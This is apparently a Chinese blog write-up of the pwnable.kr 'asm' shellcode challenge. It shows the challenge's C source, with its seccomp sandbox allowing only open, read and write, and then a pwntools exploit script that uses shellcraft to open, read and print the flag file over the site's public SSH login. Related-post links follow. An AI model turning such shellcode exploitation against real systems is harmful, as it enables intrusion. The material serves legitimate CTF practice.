一道写shellcode的题目,

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h> #define LENGTH 128 void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit();
} seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), );
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), ); if (seccomp_load(ctx) < ){
seccomp_release(ctx);
printf("seccomp error\n");
exit();
}
seccomp_release(ctx);
} char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[];
int main(int argc, char* argv[]){ setvbuf(stdout, , _IONBF, );
setvbuf(stdin, , _IOLBF, ); printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, , MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, , );
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(, sh+offset, ); alarm();
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return ;
}

首先申请一块内存,并以0x90(nop)清零,再复制字符串stub进入,最后再拼接用户输入并执行

先看一下stub的内容,是将所有寄存器清零

这对我们shellcode的执行没有影响,直接写操作就好。

题目中的沙箱限制了大多数函数的使用,只能使用read、write、open、exit函数

思路就是利用open打开flag文件、read读出内容,最后用write写入到stdout中即可,具体可使用pwntools编程(shellcraft模块)

# coding:utf-8
from pwn import * con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = "" shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()

运行即可

【pwnable.kr】 asm的更多相关文章

  1. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  2. 【pwnable.kr】leg

    pwnable从入门到放弃第八题. Download : http://pwnable.kr/bin/leg.cDownload : http://pwnable.kr/bin/leg.asm ssh ...

  3. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  4. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  5. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  6. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  7. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  8. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  9. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

随机推荐

  1. MyBatis-Spring整合之方式1

    导入相关包:Spring包:Spring架包 MyBatis包:MyBatis架包 整合包:Mybatis-Spring整合包 编写实体类User,实体类的sql映射文件,映射内容如下: <?x ...

  2. GitBook的账号注册和安装使用(一)

    1.GitBook账号注册 GitBook原注册地址  https://legacy.gitbook.com/join 改为: https://www.gitbook.com/ (1)注册账号:htt ...

  3. php从接口获取数据转成可以用的数组或其他(含转换编码)

    程序开发,时常会用到将接口的json数据转换成程序可以用的,因为今天看到一个比较好的程序,贴上来,以备随时查看: /** * 将对象转成数组,并按要求转换编码 * * @param array $ar ...

  4. 一年读100本书---HHR,NZJ---19年最后4个月

    那些自律到极致的人,都拥有了开挂的人生.生物钟,绝对一致之后,一切都会很高效. 19年最后一个季度的HHR计划:还剩下3个月的时间,主要搞定几件事情:创业(以太一堂,混沌大学),工作能力(推荐算法工程 ...

  5. 不需要图片,css+svg绘制动态loading加载图标

    1.html 部分: <div id="refershDiv" class="refershDiv"> <svg xmlns="ht ...

  6. Echarts字体和线条颜色设置操作笔记

    在网上偶然看到的一篇文章 感觉不错  下面是原著地址 原著地址:https://blog.csdn.net/eastmount/article/details/52823548

  7. svn怎么修改用户名和密码

    链接:https://blog.csdn.net/qq_36826506/article/details/80915431

  8. HashMap遍历,取出key和value

    HashMap的遍历有两种常用的方法,那就是使用keyset及entryset来进行遍历,在用keySet(key)取value时候,需要key 第一种: Map map = new HashMap( ...

  9. Django模型model Field详解:

    类型说明 AutoField一个自动增加的整数类型字段.通常你不需要自己编写它,Django会自动帮你添加字段:id = models.AutoField(primary_key=True),这是一个 ...

  10. buuctf——easyjava

    虽然学过Javaweb的开发,但没好好学,所以对Javaweb了解不深 菜的真实 WEB-INF/web.xml泄露 贴一个别人的源码泄露总结ctf/web源码泄露及利用办法[总结中] WEB-INF ...